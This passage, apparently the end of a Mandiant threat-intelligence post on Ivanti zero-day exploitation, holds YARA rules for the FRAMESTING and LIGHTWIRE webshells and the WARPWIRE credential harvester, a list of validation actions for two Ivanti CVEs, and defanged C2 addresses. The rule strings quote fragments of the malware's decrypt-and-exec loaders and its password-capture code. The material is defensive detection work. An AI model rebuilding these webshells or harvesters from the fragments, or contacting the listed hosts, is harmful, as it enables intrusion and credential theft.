 $s1 = "crypt(command: str)" ascii
 $s2 = "tmp[i] = chr(ord(tmp[i])" ascii
 $s3 = "ord(RC4_KEY[i % len(RC4_KEY)])" ascii
 $s4 = "class Health(Resource)" ascii
 $s5 = "crypt(base64.b64decode(command.encode(" ascii
 $s6 = "base64.b64encode(crypt(result)" ascii
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$s7 = "{\"message\": 'ok', \"stats\": result}" ascii
 condition:
 filesize < 100KB and
 any of them
}
rule M_HUNTING_APT_Webshell_FRAMESTING_result
{
 meta:
 author = "Mandiant"
 description = "Detects strings associated with FRAMESTING webshell"
 md5 = "465600cece80861497e8c1c86a07a23e"
 strings:
 $s1 = "exec(zlib.decompress(aes.decrypt(base64.b64decode(data))),
{'request':request,'cache'"
 $s2 = "result={'message':'','action':0}"
 condition:
 any of them
}
rule M_Hunting_Webshell_LIGHTWIRE_4 {
 meta:
 author = "Mandiant"
 description = "Detects LIGHTWIRE based on the RC4 decoding
and execution 1-liner."
 md5 = "3d97f55a03ceb4f71671aa2ecf5b24e9"
 strings:
 $re1 = /eval\{my.{1,20}Crypt::RC4->new\(\".{1,50}->RC4\(decode_base64\
(CGI::param\(\'.{1,30};eval\s\$.{1,30}\"Compatibility\scheck:\s\$@\";\}/
 condition:
 filesize < 1MB and all of them
}
rule M_Hunting_CredTheft_WARPWIRE_strings
{
 meta:
 author = "Mandiant"
 description = "Detects strings within WARPWIRE credential harvester"
 md5 = "b15f47e234b5d26fb2cc81fc6fd89775"
 strings:
 $header = "function SetLastRealm(sValue) {"
 // password fields
 $username = "document.frmLogin.username.value;"
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$password = "document.frmLogin.password.value;"
 // post version
 $btoa = "btoa("
 $xhr_post = /xhr.open\(.POST.,( )?url,/
 // get version
 $xhr_get = /xhr.open\(.GET.,( )?url,/
 $xhr_send = "xhr.send(null);"
 condition:
 $header in (0..100)
 and $password in (@username[1]..@username[1]+100)
 and ((#btoa > 1 and $xhr_post) or ($xhr_send in (@xhr_get[1]..
@xhr_get[1]+50)))
}
Mandiant Security Validation Actions
VID Name
A106-938 Malicious File Transfer - UNC5221, CHAINLINE, Upload, Variant #1
A106-939 Malicious File Transfer - FRAMESTING, Upload, Variant #1
A106-940 Malicious File Transfer - WARPWIRE, Download, Variant #3
A106-941 Command and Control - WARPWIRE, DNS Query, Variant #3
A106-942 Command and Control - WARPWIRE, DNS Query, Variant #1
A106-943 Malicious File Transfer - WARPWIRE, Download, Variant #1
A106-944 Command and Control - WARPWIRE, DNS Query, Variant #2
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A106-945 Malicious File Transfer - WARPWIRE, Download, Variant #2
A106-946 Malicious File Transfer - UNC5221, WIREFIRE, Upload, Variant #1
A106-947 Malicious File Transfer - LIGHTWIRE, Upload, Variant #1
A106-934 Application Vulnerability - CVE-2024-21887, Command Injection, Variant #1
A106-935 Application Vulnerability - CVE-2023-46805, Authentication Bypass, Variant #1
A106-936 Application Vulnerability - CVE-2024-21887, Command Injection, Variant #2
Posted in
Threat Intelligence
Source: https://www.mandiant.com/resources/blog/investigating-ivanti-zero-day-exploitation
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ehangmun[.]com secure-cama[.]com Domain Domain WARPWIRE WARPWIRE variant C2 server variant C2 server
146.0.228[.]66 IPv4 WARPWIRE variant C2 server
159.65.130[.]146 IPv4 WARPWIRE variant C2 server
8.137.112[.]245 IPv4 WARPWIRE variant C2 server
91.92.254[.]14 IPv4 WARPWIRE variant C2 server
186.179.39[.]235 IPv4 Mass exploitation activity
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